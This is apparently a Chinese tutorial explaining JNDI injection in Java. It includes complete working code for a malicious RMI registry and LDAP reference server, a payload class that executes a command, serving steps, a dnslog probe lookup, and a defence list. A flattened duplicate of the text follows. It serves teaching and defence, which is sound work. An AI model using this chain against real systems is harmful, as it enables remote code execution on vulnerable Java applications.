JNDI注入原理及利用考究
字数 1425 2025-08-24 20:49:31

JNDI注入原理及利用详解

一、JNDI简介

JNDI(Java Naming and Directory Interface)是Java命名和目录接口,提供统一的客户端API,通过不同的访问提供者接口(SPI)实现,将API映射为特定的命名服务和目录系统。主要支持的协议包括:

  • LDAP:轻量级目录访问协议
  • RMI:Java远程方法协议
  • DNS:域名服务
  • CORBA:公共对象请求代理体系结构

二、JNDI注入原理

JNDI注入的核心漏洞在于:当lookup()方法的参数可控时,攻击者可以传入恶意URL远程加载恶意载荷。

漏洞代码示例

package com.rmi.demo;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/Exploit"; // 可控的uri变量
        InitialContext initialContext = new InitialContext(); // 初始目录环境引用
        initialContext.lookup(uri); // 获取指定的远程对象
    }
}

攻击流程

  1. 攻击者构造恶意RMI或LDAP服务
  2. 服务指向包含恶意类的远程地址
  3. 受害者应用调用lookup()方法访问恶意URL
  4. 受害者应用加载并执行恶意类

三、JNDI注入版本限制

协议 JDK6 JDK7 JDK8 JDK11
LDAP 6u211以下 7u201以下 8u191以下 11.0.1以下
RMI 6u132以下 7u122以下 8u113以下

四、JNDI注入复现

1. JNDI+RMI注入

环境搭建

  1. 创建Maven项目
  2. src/java下创建包jndi_rmi_injection
  3. 编写服务端和客户端代码

服务端代码(RMIService.java)

package jndi_rmi_injection;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(7778);
        Reference reference = new Reference("Calculator", "Calculator", "http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE", wrapper);
    }
}

客户端代码(RMIClient.java)

package jndi_rmi_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:7778/RCE";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

恶意载荷(Calculator.java)

public class Calculator {
    public Calculator() throws Exception {
        Runtime.getRuntime().exec("gnome-calculator");
    }
}

启动步骤

  1. 编译恶意类:javac Calculator.java
  2. 启动HTTP服务:python3 -m http.server 8081
  3. 先运行服务端,再运行客户端

2. JNDI+LDAP注入

环境搭建

需要导入unboundid-ldapsdk-3.2.0.jar依赖

服务端代码(LDAPServer.java)

package jndi_ldap_injection;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    
    public static void main(String[] args) {
        String url = "http://127.0.0.1:8081/#Calculator";
        int port = 1234;
        
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig("listen", 
                InetAddress.getByName("0.0.0.0"), port, 
                ServerSocketFactory.getDefault(), SocketFactory.getDefault(), 
                (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }
        
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }
        
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) 
            throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

客户端代码(LDAPClient.java)

package jndi_ldap_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
    public static void main(String[] args) throws NamingException {
        String url = "ldap://127.0.0.1:1234/Calculator";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

启动步骤

  1. 编译恶意类:javac Calculator.java
  2. 启动HTTP服务:python3 -m http.server 8081
  3. 先运行服务端,再运行客户端

3. DNS协议探测

为避免过早暴露服务器IP,可使用DNS协议进行探测:

package jndi_ldap_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
    public static void main(String[] args) throws NamingException {
        String url = "dns://192rzl.dnslog.cn";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

五、关键类分析

1. InitialContext类

  • 用于读取JNDI配置信息
  • 内含对象和其在JNDI中注册名称的映射信息
  • lookup(String name)方法获取指定名称的数据

2. Reference类

  • 抽象类,每个Reference都有一个指向的对象
  • 指定类会被加载并实例化
  • 构造方法:Reference(String className, String factory, String factoryLocation)

六、攻击原理总结

  1. 攻击者构造恶意Reference类绑定在RMIServer的Registry中
  2. 客户端调用lookup()访问恶意对象
  3. 客户端接收Reference对象后查找指定类
  4. 若本地找不到,则从Reference指定的远程地址请求类
  5. 请求到的类在本地执行,完成攻击

七、防御措施

  1. 升级JDK到安全版本
  2. 避免lookup()参数用户可控
  3. 使用安全管理器限制代码加载
  4. 对JNDI查找进行白名单控制
JNDI注入原理及利用详解 一、JNDI简介 JNDI(Java Naming and Directory Interface)是Java命名和目录接口,提供统一的客户端API,通过不同的访问提供者接口(SPI)实现,将API映射为特定的命名服务和目录系统。主要支持的协议包括: LDAP :轻量级目录访问协议 RMI :Java远程方法协议 DNS :域名服务 CORBA :公共对象请求代理体系结构 二、JNDI注入原理 JNDI注入的核心漏洞在于:当 lookup() 方法的参数可控时,攻击者可以传入恶意URL远程加载恶意载荷。 漏洞代码示例 攻击流程 攻击者构造恶意RMI或LDAP服务 服务指向包含恶意类的远程地址 受害者应用调用 lookup() 方法访问恶意URL 受害者应用加载并执行恶意类 三、JNDI注入版本限制 | 协议 | JDK6 | JDK7 | JDK8 | JDK11 | |------|------|------|------|-------| | LDAP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 | | RMI | 6u132以下 | 7u122以下 | 8u113以下 | 无 | 四、JNDI注入复现 1. JNDI+RMI注入 环境搭建 创建Maven项目 在 src/java 下创建包 jndi_rmi_injection 编写服务端和客户端代码 服务端代码(RMIService.java) 客户端代码(RMIClient.java) 恶意载荷(Calculator.java) 启动步骤 编译恶意类: javac Calculator.java 启动HTTP服务: python3 -m http.server 8081 先运行服务端,再运行客户端 2. JNDI+LDAP注入 环境搭建 需要导入 unboundid-ldapsdk-3.2.0.jar 依赖 服务端代码(LDAPServer.java) 客户端代码(LDAPClient.java) 启动步骤 编译恶意类: javac Calculator.java 启动HTTP服务: python3 -m http.server 8081 先运行服务端,再运行客户端 3. DNS协议探测 为避免过早暴露服务器IP,可使用DNS协议进行探测: 五、关键类分析 1. InitialContext类 用于读取JNDI配置信息 内含对象和其在JNDI中注册名称的映射信息 lookup(String name) 方法获取指定名称的数据 2. Reference类 抽象类,每个Reference都有一个指向的对象 指定类会被加载并实例化 构造方法: Reference(String className, String factory, String factoryLocation) 六、攻击原理总结 攻击者构造恶意Reference类绑定在RMIServer的Registry中 客户端调用 lookup() 访问恶意对象 客户端接收Reference对象后查找指定类 若本地找不到,则从Reference指定的远程地址请求类 请求到的类在本地执行,完成攻击 七、防御措施 升级JDK到安全版本 避免 lookup() 参数用户可控 使用安全管理器限制代码加载 对JNDI查找进行白名单控制